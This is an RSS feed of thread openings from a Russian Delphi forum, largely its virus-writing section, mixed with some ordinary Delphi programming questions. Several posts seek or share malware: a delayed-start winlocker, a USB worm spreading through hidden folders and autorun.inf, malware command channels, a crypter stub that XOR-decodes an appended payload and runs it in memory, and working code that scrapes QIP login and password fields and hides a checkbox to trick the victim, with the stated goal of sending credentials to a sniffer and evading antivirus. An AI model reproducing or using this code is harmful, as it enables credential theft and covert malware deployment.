<?xml version="1.0" encoding="UTF-8" ?>
<rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:dc="http://purl.org/dc/elements/1.1/">
	<channel>
		<title>delfcode</title>
		<link>https://delfcode.ru/forum/</link>
		<description>delfcode</description>
		<lastBuildDate>Thu, 29 Dec 2016 11:41:43 GMT</lastBuildDate>
		<generator>uCoz Web-Service</generator>
		
		<item>
			<title>Как сделать так, чтоб программа запускалась не сразу?</title>
			<link>https://delfcode.ru/forum/10-962-1</link>
			<pubDate>Thu, 29 Dec 2016 11:41:43 GMT</pubDate>
			<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/10&quot;&gt;Вирусология Delphi&lt;/a&gt;&lt;br /&gt;Описание темы: Через некоторое время?&lt;br /&gt;Автор темы: Michael_Troshin&lt;br /&gt;Автор последнего сообщения: Android&lt;br /&gt;Количество ответов: 14</description>
			<content:encoded>Как сделать так, чтоб винлок (Написанный на делфи) запускался через минут 20 после открытия?</content:encoded>
			<category>Вирусология Delphi</category>
			<dc:creator>Michael_Troshin</dc:creator>
			<guid>https://delfcode.ru/forum/10-962-1</guid>
		</item>
		<item>
			<title>USB WORM</title>
			<link>https://delfcode.ru/forum/10-337-1</link>
			<pubDate>Thu, 29 Dec 2016 11:40:34 GMT</pubDate>
			<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/10&quot;&gt;Вирусология Delphi&lt;/a&gt;&lt;br /&gt;Описание темы: нужен сорец&lt;br /&gt;Автор темы: cool1&lt;br /&gt;Автор последнего сообщения: Android&lt;br /&gt;Количество ответов: 7</description>
			<content:encoded>Привет, &lt;br /&gt; пожалуйста дайте сорец вируса который будет размножаться по флэшкам через папки &lt;br /&gt; типо на флэшке папка фотки а вирус делает ее скрытой и создает файл фотки.ехе и файл Autorun.inf который открывает файл фотки.ехе &lt;br /&gt; &lt;img src=&quot;http://s5.ucoz.net/sm/2/smile.gif&quot; border=&quot;0&quot; align=&quot;absmiddle&quot; alt=&quot;smile&quot;&gt;</content:encoded>
			<category>Вирусология Delphi</category>
			<dc:creator>cool1</dc:creator>
			<guid>https://delfcode.ru/forum/10-337-1</guid>
		</item>
		<item>
			<title>тграничения на курсор</title>
			<link>https://delfcode.ru/forum/10-1369-1</link>
			<pubDate>Thu, 29 Dec 2016 11:39:42 GMT</pubDate>
			<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/10&quot;&gt;Вирусология Delphi&lt;/a&gt;&lt;br /&gt;Автор темы: HTTqp&lt;br /&gt;Автор последнего сообщения: Android&lt;br /&gt;Количество ответов: 2</description>
			<content:encoded>Пытаюсь ограничить передвижения курсора, все бы хорошо, но почему то у меня при компиляции работает идеально, при запуске на других машинах почему то он спокойно выходит за границы формы. &lt;br /&gt; Код: &lt;br /&gt; &lt;!--uzcode--&gt;&lt;div class=&quot;bbCodeBlock&quot;&gt;&lt;div class=&quot;bbCodeName&quot; style=&quot;padding-left:5px;font-weight:bold;font-size:7pt&quot;&gt;Код&lt;/div&gt;&lt;div class=&quot;codeMessage&quot; style=&quot;border:1px inset;max-height:200px;overflow:auto;height:expression(this.scrollHeight&lt;5?this.style.height:scrollHeight&gt;200?&apos;200px&apos;:&apos;&apos;+(this.scrollHeight+5)+&apos;px&apos;);&quot;&gt;&lt;!--uzc--&gt; &lt;br /&gt; procedure tp(hWnd: HWND; uMsg: UINT; idEvent: UINT_PTR; dwTime: DWORD&amp;#41;;&amp;nbsp;&amp;nbsp;stdcall;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;var &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;PrmInRect: TRect; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;begin &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;GetWindowRect(hWnd,PrmInRect&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ClipCursor(@PrmInRect&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;end; &lt;br /&gt;&lt;br /&gt; //Запускаю так &lt;br /&gt; //hWinHandle это хендл окна, созданый на winapi &gt; hWinHandle:=CreateWindowEx(....&amp;#41;;&amp;nbsp;&amp;nbsp;&lt;br /&gt; SetTimer(hWinHandle,1,100,@tp&amp;#41;;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br /&gt; &lt;!--/uzc--&gt;&lt;/div&gt;&lt;/div&gt;&lt;!--/uzcode--&gt;</content:encoded>
			<category>Вирусология Delphi</category>
			<dc:creator>HTTqp</dc:creator>
			<guid>https://delfcode.ru/forum/10-1369-1</guid>
		</item>
		<item>
			<title>delphi XE7 консольный демон</title>
			<link>https://delfcode.ru/forum/29-1397-1</link>
			<pubDate>Thu, 29 Dec 2016 11:37:49 GMT</pubDate>
			<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/29&quot;&gt;Вопросы по Delphi&lt;/a&gt;&lt;br /&gt;Автор темы: d4rkzy&lt;br /&gt;Автор последнего сообщения: Android&lt;br /&gt;Количество ответов: 3</description>
			<content:encoded>Как скрыть консоль у консольного проекта? &lt;br /&gt;&lt;br /&gt; Удалил: {$APPTYPE CONSOLE} &lt;br /&gt;&lt;br /&gt; Консоль все равно видна. &lt;br /&gt;&lt;br /&gt; Поставил ShowWindow(GetConsoleWindow(), 0); при запуске. &lt;br /&gt; Ну в таком раскладе консоль мегает на долю секунду, что не есть корректно. &lt;br /&gt;&lt;br /&gt; Как пофиксить?</content:encoded>
			<category>Вопросы по Delphi</category>
			<dc:creator>d4rkzy</dc:creator>
			<guid>https://delfcode.ru/forum/29-1397-1</guid>
		</item>
		<item>
			<title>ВОЗМОЖНО?</title>
			<link>https://delfcode.ru/forum/29-1401-1</link>
			<pubDate>Thu, 29 Dec 2016 11:33:10 GMT</pubDate>
			<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/29&quot;&gt;Вопросы по Delphi&lt;/a&gt;&lt;br /&gt;Автор темы: Born&lt;br /&gt;Автор последнего сообщения: Android&lt;br /&gt;Количество ответов: 7</description>
			<content:encoded>Здравствуйте. &lt;br /&gt; Вообщем есть исходник запуска безопасного режима.. &lt;br /&gt; Исходник рабочий. &lt;br /&gt;&lt;br /&gt; Собственно вопрос:Если в исходник добавить код который будет добавлять программу в ауторан. &lt;br /&gt; При запуске программы запустится безопасный режим,программа добавится в ауторан без прав админа? &lt;br /&gt; Я имею виду ветку HLKM.</content:encoded>
			<category>Вопросы по Delphi</category>
			<dc:creator>Born</dc:creator>
			<guid>https://delfcode.ru/forum/29-1401-1</guid>
		</item>
		<item>
			<title>Помогите разобраться</title>
			<link>https://delfcode.ru/forum/29-1457-1</link>
			<pubDate>Thu, 29 Dec 2016 11:31:56 GMT</pubDate>
			<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/29&quot;&gt;Вопросы по Delphi&lt;/a&gt;&lt;br /&gt;Описание темы: Работа с компонентом zipforge&lt;br /&gt;Автор темы: Born&lt;br /&gt;Автор последнего сообщения: Android&lt;br /&gt;Количество ответов: 2</description>
			<content:encoded>Здравствуйте.&lt;br /&gt;Работаю с компонентом ZipForge.&lt;br /&gt;Компонент архивирует файлы,как оп маске так и по имени.&lt;br /&gt;Но оп маске он только одно расширение находит и архивирует.&lt;br /&gt;Вот пример кода:&lt;br /&gt;&lt;!--uzcode--&gt;&lt;div class=&quot;bbCodeBlock&quot;&gt;&lt;div class=&quot;bbCodeName&quot; style=&quot;padding-left:5px;font-weight:bold;font-size:7pt&quot;&gt;Код&lt;/div&gt;&lt;div class=&quot;codeMessage&quot; style=&quot;border:1px inset;max-height:200px;overflow:auto;height:expression(this.scrollHeight&lt;5?this.style.height:scrollHeight&gt;200?&apos;200px&apos;:&apos;&apos;+(this.scrollHeight+5)+&apos;px&apos;);&quot;&gt;&lt;!--uzc--&gt;procedure TForm1.Button1Click(Sender: TObject&amp;#41;;&lt;br /&gt;begin&lt;br /&gt;ZipForge1.BaseDir:=&apos;D:&amp;#92;&apos;;&lt;br /&gt;ZipForge1.FileName:=(&apos;D:&amp;#92;TestRar.zip&apos;&amp;#41;;&lt;br /&gt;ZipForge1.OpenArchive(fmCreate&amp;#41;;&lt;br /&gt;ZipForge1.BaseDir:=&apos;D:&amp;#92;&apos;;&lt;br /&gt;ZipForge1.AddFiles(&apos;*.txt&apos;&amp;#41;;//Если сюда ещё добавить маску &apos;*.pdf&apos; тогда он в обще не архивирует .&lt;br /&gt;ZipForge1.CloseArchive;&lt;br /&gt;showmessage(&apos;Запаковано&apos;&amp;#41;;&lt;br /&gt;&lt;br /&gt;end;&lt;br /&gt;&lt;br /&gt;end.&lt;!--/uzc--&gt;&lt;/div&gt;&lt;/div&gt;&lt;!--/uzcode--&gt;&lt;br /&gt;&lt;br /&gt;Есть у этого компонента свойства FileMask ,добавлял расширения но результата ноль.&lt;br /&gt;Помогите разобраться с компонентом...</content:encoded>
			<category>Вопросы по Delphi</category>
			<dc:creator>Born</dc:creator>
			<guid>https://delfcode.ru/forum/29-1457-1</guid>
		</item>
		<item>
			<title>Извлечение файла из резурсов приложения</title>
			<link>https://delfcode.ru/forum/30-453-1</link>
			<pubDate>Thu, 29 Dec 2016 11:15:35 GMT</pubDate>
			<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/30&quot;&gt;Windows API в Delphi&lt;/a&gt;&lt;br /&gt;Автор темы: vvova15&lt;br /&gt;Автор последнего сообщения: Android&lt;br /&gt;Количество ответов: 6</description>
			<content:encoded>в общем такой вопрос: для извелечения ресурсов я использую такуй процедуру: &lt;br /&gt; &lt;!--uzcode--&gt;&lt;div class=&quot;bbCodeBlock&quot;&gt;&lt;div class=&quot;bbCodeName&quot; style=&quot;padding-left:5px;font-weight:bold;font-size:7pt&quot;&gt;Code&lt;/div&gt;&lt;div class=&quot;codeMessage&quot; style=&quot;border:1px inset;max-height:200px;overflow:auto;height:expression(this.scrollHeight&lt;5?this.style.height:scrollHeight&gt;200?&apos;200px&apos;:&apos;&apos;+(this.scrollHeight+5)+&apos;px&apos;);&quot;&gt;&lt;!--uzc--&gt; &lt;br /&gt; procedure ExtractRes(ResType, ResName, ResNewName : String&amp;#41;; &lt;br /&gt; var Res : TResourceStream; &lt;br /&gt; begin Res := TResourceStream.Create(Hinstance, Resname, Pchar(ResType&amp;#41;&amp;#41;; &lt;br /&gt; Res.SavetoFile(ResNewName&amp;#41;; Res.Free; &lt;br /&gt; end; &lt;br /&gt; &lt;!--/uzc--&gt;&lt;/div&gt;&lt;/div&gt;&lt;!--/uzcode--&gt; &lt;br /&gt; все бы ничего, но описание класса TResourceStream находиться в модуле classes, который дает привес около 80 кб к стабу. &lt;br /&gt; можно ли как то переписать ее на winapi?</content:encoded>
			<category>Windows API в Delphi</category>
			<dc:creator>vvova15</dc:creator>
			<guid>https://delfcode.ru/forum/30-453-1</guid>
		</item>
		<item>
			<title>Способы управления малварью</title>
			<link>https://delfcode.ru/forum/10-593-1</link>
			<pubDate>Thu, 29 Dec 2016 11:09:28 GMT</pubDate>
			<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/10&quot;&gt;Вирусология Delphi&lt;/a&gt;&lt;br /&gt;Описание темы: Какие существуют?&lt;br /&gt;Автор темы: gravitas&lt;br /&gt;Автор последнего сообщения: Android&lt;br /&gt;Количество ответов: 6</description>
			<content:encoded>Нужны все возможные (удобные&amp;#92;неудобные - без разницы) способы управления малварью (не ботнетом). Чтобы не было повторов назову известные мне: &lt;br /&gt; - Веб-панель: только если масса компов. + будет медленно, ибо слишком частые запросы на сайт вызовут подозрние. &lt;br /&gt; - Бэкконнект (коннект от жертвы к вашему компу), создание сервера на компе жертвы: нужна выделенка (в обоих случаях), которой нет. &lt;br /&gt; - ICQ: вариант. Но способ детский и дает килотонну веса софту.</content:encoded>
			<category>Вирусология Delphi</category>
			<dc:creator>gravitas</dc:creator>
			<guid>https://delfcode.ru/forum/10-593-1</guid>
		</item>
		<item>
			<title>Запуск программы из другой</title>
			<link>https://delfcode.ru/forum/10-837-1</link>
			<pubDate>Thu, 29 Dec 2016 11:01:11 GMT</pubDate>
			<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/10&quot;&gt;Вирусология Delphi&lt;/a&gt;&lt;br /&gt;Автор темы: ashkalov&lt;br /&gt;Автор последнего сообщения: Android&lt;br /&gt;Количество ответов: 12</description>
			<content:encoded>Есть идея, но не знаю как это осуществить. &lt;br /&gt; Каким образом отправить программе команду на запуск другой программы? &lt;br /&gt; например отправить программе explorer.exe команду на запуск notepad.exe &lt;br /&gt;&lt;br /&gt; идея такова, что если exlorer запустит notepad , то передаст ему прова администратора) &lt;br /&gt;&lt;br /&gt; Буду благодарен за помощь товарищи)))</content:encoded>
			<category>Вирусология Delphi</category>
			<dc:creator>ashkalov</dc:creator>
			<guid>https://delfcode.ru/forum/10-837-1</guid>
		</item>
		<item>
			<title>Работа с реестром</title>
			<link>https://delfcode.ru/forum/9-752-1</link>
			<pubDate>Thu, 29 Dec 2016 10:59:20 GMT</pubDate>
			<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/9&quot;&gt;Программы на Delphi&lt;/a&gt;&lt;br /&gt;Описание темы: запись различных ключей&lt;br /&gt;Автор темы: xXxSh@dowxXx&lt;br /&gt;Автор последнего сообщения: Android&lt;br /&gt;Количество ответов: 7</description>
			<content:encoded>Доброго времени суток! &lt;br /&gt;&lt;br /&gt; Искал в google разные способы добавления различных ключей в реестр: &lt;br /&gt;&lt;br /&gt; имеется ввиду различные типы ключей, такие как: &lt;br /&gt; REG_SZ; &lt;br /&gt; REG_MULTI_SZ; &lt;br /&gt; REG_DWORD; &lt;br /&gt; REG_EXPAND_SZ; &lt;br /&gt; REG_BINARY; &lt;br /&gt; REG_DWORD_LITTLE_ENDIAN; &lt;br /&gt; REG_DWORD_BIG_ENDIAN; &lt;br /&gt; REG_LINK; &lt;br /&gt; REG_NONE; &lt;br /&gt; REG_RESOURCE_LIST &lt;br /&gt;&lt;br /&gt; но увы, смог найти только пример с добавлением REG_SZ и REG_DWORD вот исходный код: &lt;br /&gt;&lt;br /&gt; &lt;!--uzcode--&gt;&lt;div class=&quot;bbCodeBlock&quot;&gt;&lt;div class=&quot;bbCodeName&quot; style=&quot;padding-left:5px;font-weight:bold;font-size:7pt&quot;&gt;Code&lt;/div&gt;&lt;div class=&quot;codeMessage&quot; style=&quot;border:1px inset;max-height:200px;overflow:auto;height:expression(this.scrollHeight&lt;5?this.style.height:scrollHeight&gt;200?&apos;200px&apos;:&apos;&apos;+(this.scrollHeight+5)+&apos;px&apos;);&quot;&gt;&lt;!--uzc--&gt; &lt;br /&gt; //в uses требуется добавить Registry; &lt;br /&gt; //-= тип ключа REG_SZ =- &lt;br /&gt;&lt;br /&gt; procedure TForm1.Button1Click(Sender: TObject&amp;#41;; &lt;br /&gt; var &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Registry: TRegistry; &lt;br /&gt; begin &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{ создаём объект TRegistry } &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Registry := TRegistry.Create; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{ устанавливаем корневой ключ; напрмер hkey_local_machine или hkey_current_user } &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Registry.RootKey := hkey_local_machine; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{ открываем и создаём ключ } &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Registry.OpenKey(&apos;software&amp;#92;MyRegistryExample&apos;,true&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{ записываем значение } &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Registry.WriteString(&apos;KeyName&apos;,&apos;blablabla&apos;&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{ закрываем и освобождаем ключ } &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Registry.CloseKey; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Registry.Free; &lt;br /&gt; end; &lt;br /&gt;&lt;br /&gt; //-= тип ключа REG_DWORD =- &lt;br /&gt;&lt;br /&gt; procedure TForm1.Button1Click(Sender: TObject&amp;#41;; &lt;br /&gt; var &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Registry: TRegistry; &lt;br /&gt; begin &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{ создаём объект TRegistry } &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Registry := TRegistry.Create; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{ устанавливаем корневой ключ; напрмер hkey_local_machine или hkey_current_user } &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Registry.RootKey := hkey_local_machine; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{ открываем и создаём ключ } &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Registry.OpenKey(&apos;software&amp;#92;MyRegistryExample&apos;,true&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{ записываем значение } &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Registry.WriteInteger(&apos;KeyName&apos;, 1&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{ закрываем и освобождаем ключ } &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Registry.CloseKey; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Registry.Free; &lt;br /&gt; end; &lt;br /&gt; &lt;!--/uzc--&gt;&lt;/div&gt;&lt;/div&gt;&lt;!--/uzcode--&gt; &lt;br /&gt;&lt;br /&gt; по поводу других типов нашел функции вот тут &lt;a class=&quot;link&quot; href=&quot;http://www.delphisources.ru/pages/faq/base/kol_lesson8.html&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;Функции&lt;/a&gt; &lt;br /&gt; но к сожалению не смог разобраться как их применить... &lt;br /&gt;&lt;br /&gt; Прошу вашей помощи, заранее примного благодарен!</content:encoded>
			<category>Программы на Delphi</category>
			<dc:creator>xXxSh@dowxXx</dc:creator>
			<guid>https://delfcode.ru/forum/9-752-1</guid>
		</item>
		<item>
			<title>Листинг функции FileExists</title>
			<link>https://delfcode.ru/forum/10-850-1</link>
			<pubDate>Thu, 29 Dec 2016 10:51:11 GMT</pubDate>
			<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/10&quot;&gt;Вирусология Delphi&lt;/a&gt;&lt;br /&gt;Описание темы: Играем на размер&lt;br /&gt;Автор темы: Anton93&lt;br /&gt;Автор последнего сообщения: Android&lt;br /&gt;Количество ответов: 5</description>
			<content:encoded>Доброго времени суток. &lt;br /&gt; Ребят, у кого-нибудь есть листинг этой функции? из модуля SysUtils. Либо ее аналог, позволяющий проверять существование файла. &lt;br /&gt; Пишу без подключаемых модулей, классов и объектов.</content:encoded>
			<category>Вирусология Delphi</category>
			<dc:creator>Anton93</dc:creator>
			<guid>https://delfcode.ru/forum/10-850-1</guid>
		</item>
		<item>
			<title>Stub by Crypted</title>
			<link>https://delfcode.ru/forum/10-883-1</link>
			<pubDate>Thu, 29 Dec 2016 10:45:01 GMT</pubDate>
			<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/10&quot;&gt;Вирусология Delphi&lt;/a&gt;&lt;br /&gt;Автор темы: alex0097&lt;br /&gt;Автор последнего сообщения: Android&lt;br /&gt;Количество ответов: 10</description>
			<content:encoded>Нарыл на забугореном сайте криптор. Так вот пытаюсь разобраться... &lt;br /&gt; &lt;!--BBhide--&gt;&lt;span class=&quot;UhideBlockL&quot;&gt;&lt;a href=&quot;javascript://&quot; onclick=&quot;new _uWnd(&apos;LF&apos;,&apos; &apos;,-250,-110,{autosize:0,closeonesc:1,resize:1},{url:&apos;/index/40&apos;});return false;&quot;&gt;Доступно только для пользователей&lt;/a&gt;&lt;/span&gt;&lt;span class=&quot;UhideBlock&quot;&gt; &lt;br /&gt; program Stub; &lt;br /&gt;&lt;br /&gt; {$IMAGEBASE $10000000} &lt;br /&gt;&lt;br /&gt; uses &lt;br /&gt; Windows, uEOF, uRunPE; &lt;br /&gt;&lt;br /&gt; var &lt;br /&gt; Buffer :String; &lt;br /&gt; bBuff :TByteArray; &lt;br /&gt;&lt;br /&gt; function MakeXor(Buffer :String; Key :Integer) :String; &lt;br /&gt; var &lt;br /&gt; i,c,x :Integer; &lt;br /&gt; begin &lt;br /&gt; for i := 1 to Length(Buffer) do &lt;br /&gt; begin &lt;br /&gt; c := Integer(Buffer[i]); &lt;br /&gt; x := c xor Key; &lt;br /&gt; Result := Result + Char(x); &lt;br /&gt; end; &lt;br /&gt; end; &lt;br /&gt;&lt;br /&gt; function StrToByteArray(Str: string) :TByteArray; &lt;br /&gt; begin &lt;br /&gt; SetLength(result, Length(Str)); &lt;br /&gt; CopyMemory(@Result[0], @Str[1], Length(Str)); &lt;br /&gt; end; &lt;br /&gt;&lt;br /&gt; begin &lt;br /&gt; Buffer := ReadEof(&apos;[1]&apos;, &apos;[2]&apos;); &lt;br /&gt; Buffer := MakeXor(Buffer, 1337); &lt;br /&gt;&lt;br /&gt; bBuff := StrToByteArray(Buffer); &lt;br /&gt; RunExe(ParamStr(0), bBuff); &lt;br /&gt; end.&lt;/span&gt;&lt;!--/BBhide--&gt; &lt;br /&gt;&lt;br /&gt; Кто что скажет?</content:encoded>
			<category>Вирусология Delphi</category>
			<dc:creator>alex0097</dc:creator>
			<guid>https://delfcode.ru/forum/10-883-1</guid>
		</item>
		<item>
			<title>тащим пароли с icq,skype,и тд</title>
			<link>https://delfcode.ru/forum/10-743-1</link>
			<pubDate>Thu, 29 Dec 2016 10:31:05 GMT</pubDate>
			<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/10&quot;&gt;Вирусология Delphi&lt;/a&gt;&lt;br /&gt;Описание темы: API&lt;br /&gt;Автор темы: oke&lt;br /&gt;Автор последнего сообщения: Android&lt;br /&gt;Количество ответов: 2</description>
			<content:encoded>На примере я использовал QIP 2010 и вот что получилось)) &lt;br /&gt;&lt;br /&gt; &lt;!--uzcode--&gt;&lt;div class=&quot;bbCodeBlock&quot;&gt;&lt;div class=&quot;bbCodeName&quot; style=&quot;padding-left:5px;font-weight:bold;font-size:7pt&quot;&gt;Code&lt;/div&gt;&lt;div class=&quot;codeMessage&quot; style=&quot;border:1px inset;max-height:200px;overflow:auto;height:expression(this.scrollHeight&lt;5?this.style.height:scrollHeight&gt;200?&apos;200px&apos;:&apos;&apos;+(this.scrollHeight+5)+&apos;px&apos;);&quot;&gt;&lt;!--uzc--&gt;unit Unit1; &lt;br /&gt;&lt;br /&gt; interface &lt;br /&gt;&lt;br /&gt; uses &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;Dialogs, StdCtrls, ExtCtrls; &lt;br /&gt;&lt;br /&gt; type &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;TForm1 = class(TForm&amp;#41; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Memo1: TMemo; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Button1: TButton; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;procedure Button1Click(Sender: TObject&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;private &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{ Private declarations } &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;public &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{ Public declarations } &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;end; &lt;br /&gt;&lt;br /&gt; var &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;Form1: TForm1; &lt;br /&gt;&lt;br /&gt; implementation &lt;br /&gt;&lt;br /&gt; {$R *.dfm} &lt;br /&gt;&lt;br /&gt; procedure TForm1.Button1Click(Sender: TObject&amp;#41;; &lt;br /&gt; var &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;okno,login,psswd,auto:HWND; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;log,pass:array &amp;#91;0..255] of char; &lt;br /&gt; begin &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;okno:=FindWindow(&apos;TfrmMan.UnicodeClass&apos;,&apos;QIP 2010&apos;&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;if okno&lt;&gt;0 then &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;login:= FindWindowEx(okno,0,&apos;TInfuComboBox.UnicodeClass&apos;,nil&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;psswd:= FindWindowEx(okno,0,&apos;TInfuEdit.UnicodeClass&apos;,nil&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;Sendmessage(login,WM_GETTEXT,20,Integer(@log&amp;#41;&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;Sendmessage(psswd,WM_GETTEXT,20,Integer(@pass&amp;#41;&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;Memo1.Lines.Add(&apos;ICQ : &apos;+ log&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;Memo1.Lines.Add(&apos;Password : &apos;+pass&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;auto:= FindWindowEx(okno,0,&apos;TInfuCheckBox.UnicodeClass&apos;,&apos;Не спрашивать пароль&apos;&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;if auto&lt;&gt;0 then &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;ShowWindow(auto,SW_HIDE&amp;#41;; &lt;br /&gt; end; &lt;br /&gt;&lt;br /&gt; end.&lt;!--/uzc--&gt;&lt;/div&gt;&lt;/div&gt;&lt;!--/uzcode--&gt; &lt;br /&gt; сделал невидимой галочку &quot;запомнить пароль&quot; чтоб жертва не нажмала и в дальнейшем не смогла зайти автоматически а мы же дописываем процедуру отлова кнопки вход и при ее нажатии отсылаем на сниффер &lt;img src=&quot;http://s5.ucoz.net/sm/23/happy.gif&quot; border=&quot;0&quot; align=&quot;absmiddle&quot; alt=&quot;happy&quot; /&gt; то что у нас в мемо и все) такой способ вроде бы еще не использовали(следовательно антивири должны молчать)</content:encoded>
			<category>Вирусология Delphi</category>
			<dc:creator>oke</dc:creator>
			<guid>https://delfcode.ru/forum/10-743-1</guid>
		</item>
		<item>
			<title>delphi 7 или XE7?</title>
			<link>https://delfcode.ru/forum/29-1383-1</link>
			<pubDate>Thu, 29 Dec 2016 09:18:36 GMT</pubDate>
			<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/29&quot;&gt;Вопросы по Delphi&lt;/a&gt;&lt;br /&gt;Автор темы: d4rkzy&lt;br /&gt;Автор последнего сообщения: Android&lt;br /&gt;Количество ответов: 4</description>
			<content:encoded>В чем отличия между этими двумя софтами? &lt;br /&gt; Какой лучше для зловоредов - почему? &lt;br /&gt;&lt;br /&gt; дельфи 7 - говорят что нет поддержки работы на х64 (ехешников) - правда или нет?</content:encoded>
			<category>Вопросы по Delphi</category>
			<dc:creator>d4rkzy</dc:creator>
			<guid>https://delfcode.ru/forum/29-1383-1</guid>
		</item>
		<item>
			<title>как к прог-ме добавить UAC, запрос запуска от имени админ-а?</title>
			<link>https://delfcode.ru/forum/10-1118-1</link>
			<pubDate>Thu, 29 Dec 2016 09:15:56 GMT</pubDate>
			<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/10&quot;&gt;Вирусология Delphi&lt;/a&gt;&lt;br /&gt;Описание темы: при запуске должно появится окно запрос запуска от имени адм&lt;br /&gt;Автор темы: MAS&lt;br /&gt;Автор последнего сообщения: Android&lt;br /&gt;Количество ответов: 1</description>
